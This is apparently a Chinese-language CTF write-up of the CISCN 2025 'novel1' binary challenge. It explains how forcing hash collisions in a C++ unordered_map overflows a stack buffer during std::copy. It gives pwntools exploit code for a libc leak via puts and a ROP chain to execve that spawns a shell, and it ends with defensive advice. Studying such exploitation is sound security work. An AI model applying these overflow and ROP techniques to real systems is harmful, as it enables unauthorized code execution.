2025 ciscn novel1详细解析
字数 1742 2025-08-22 12:22:30
CISC 2025 Novel1 漏洞分析与利用详解
1. 程序概述
这是一个CTF比赛中的二进制漏洞利用题目,程序名为novel1,主要功能涉及对血迹(bloodstains)和证据(evidence)的管理。程序使用C++编写,利用了STL容器进行数据存储。
2. 程序保护机制
首先需要检查程序的保护机制,常见的包括:
- NX (栈不可执行)
- ASLR (地址空间随机化)
- PIE (位置无关可执行文件)
- Stack Canary (栈保护)
从exp代码中可以看到使用了libc.so.6,表明程序可能动态链接到libc库。
3. 主要功能分析
3.1 Part1 功能
- 检查
bloodstains哈希表中的元素数量是否超过31(容量限制) - 提示用户输入"Blood"(血迹标识符)并检查是否已存在于哈希表中
- 如果存在,提示"This bloodstain has been found."
- 如果不存在,继续处理
- 提示用户输入"Evidence"(关联数据)并将其与血迹标识符关联存储到哈希表中
3.2 哈希表实现细节
- 使用C++ STL中的
std::unordered_map和std::unordered_set - 使用哈希桶存储hash表
- 采用链地址法处理冲突,重复的键通过链表存储在桶中
哈希函数分析
通过动态调试发现哈希函数为:
hash = value % 13
哈希值决定了数据存储在哪个桶中。当桶节点重复时,使用链表存储,且以堆的形式存储。
3.3 Part2 功能
- 在哈希表
bloodstains中查找输入的标识符- 如果未找到,输出"This bloodstain has not been found."
- 如果找到,继续分析
- 查找与输入标识符相关的哈希桶,并遍历桶内所有键值对
- 将桶内所有元素拷贝到栈变量
v3中 - 遍历桶内所有元素
- 将桶内所有元素拷贝到栈变量
关键操作:
std::unordered_map<...>::end(v9, &bloodstains, v12);
std::unordered_map<...>::begin(v10, &bloodstains, v12);
std::copy<...>((int64)v10, (int64)v9, (__int64)v3);
4. 漏洞分析
4.1 漏洞点
v3位于栈上,当桶内元素过多时可能导致栈溢出- 通过控制输入使所有值都哈希到同一个桶中(利用哈希函数
hash = value % 13)- 输入13的整数倍,使它们都哈希到桶0
- 当桶内元素过多时,
std::copy操作会导致栈溢出
4.2 哈希表扩容机制
std::unordered_map有动态扩展机制,类似于C的动态数组- 根据负载因子自动扩容(从13扩展到29)
- 新桶数组会重新哈希分配
- 链表通过索引计算(如
i * 29)重新串联
通过调试发现扩容后的桶数量为29(计算方式:13 + (0x70 + 0x10)/8)
5. 利用思路
5.1 信息泄露
- 控制返回地址到
author(程序开始时输入的值) - 由于控制
rsp后还有两次pop操作,需要返回author-0x10的位置 - 泄露libc地址
- 返回到main函数重新开始
5.2 劫持程序流
- 返回main函数后,发现输入不会正常跳转程序流
- 通过调试发现返回后会直接
ret到输入的第二个64位值的位置 - 这相当于直接劫持程序流
5.3 最终利用
- 常规的
system调用可能有问题 - 选择利用libc中的gadget
- 通过启动docker获取libc后构造ROP链
- 最终获取shell
6. 漏洞利用代码解析
6.1 初始化设置
context.clear(arch='amd64', os='linux', log_level='debug')
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./novel1"
mx = remote("172.17.0.2",9999)
elf = ELF(filename)
6.2 初始信息泄露
rl("Author: ")
pop_rdi_rbp=0x4025C0
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
sl(p64(0x4025C0)+p64(puts_got)+p64(0)+p64(puts_plt)+p64(0x4027a3))
6.3 Part1 填充哈希表
def part1(Blood,Evidence):
rl("Chapter: ")
sl(str(1))
rl("Blood: ")
sl(Blood)
rl("Evidence: ")
int_Evidence=change(Evidence)
sl(str(int_Evidence))
通过输入13的整数倍(029到2229)确保所有值都哈希到同一个桶中。
6.4 Part2 触发漏洞
def part2(Blood):
rl("Chapter: ")
sl(str(2))
rl("Blood: ")
sl(str(Blood))
6.5 计算libc基址
libc_addr=h64()-0x80e50
log_addr(libc_addr)
6.6 构造ROP链
pop_rdi=libc_addr+0x000000000002a3e5
execve=0xebc88+libc_addr
ret=libc_addr+0x000000000002882f
pop_rsi=libc_addr+0x000000000002be51
pop_rdx=libc_addr+0x000000000011f2e7
bin_sh =libc_addr+0x1d8678
rl("Author: ")
sl(p64(0)*3+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)*2+p64(execve))
7. 关键调试点
0x402BD6-copy操作的结果位置- 需要添加多个chunk使链表结构变化
- 观察
0x70被free的情况 - 哈希表扩容时的行为变化
8. 防御建议
- 对哈希表桶大小进行限制
- 使用安全的拷贝函数,检查目标缓冲区大小
- 考虑使用更安全的容器或实现
- 启用所有现代保护机制(如ASLR, NX等)
9. 总结
这个漏洞展示了C++ STL容器使用不当可能导致的安全问题,特别是当与不安全的拷贝操作结合时。通过精心构造输入,攻击者可以控制哈希表的行为,导致栈溢出并最终实现任意代码执行。理解STL容器的内部实现细节对于发现和利用这类漏洞至关重要。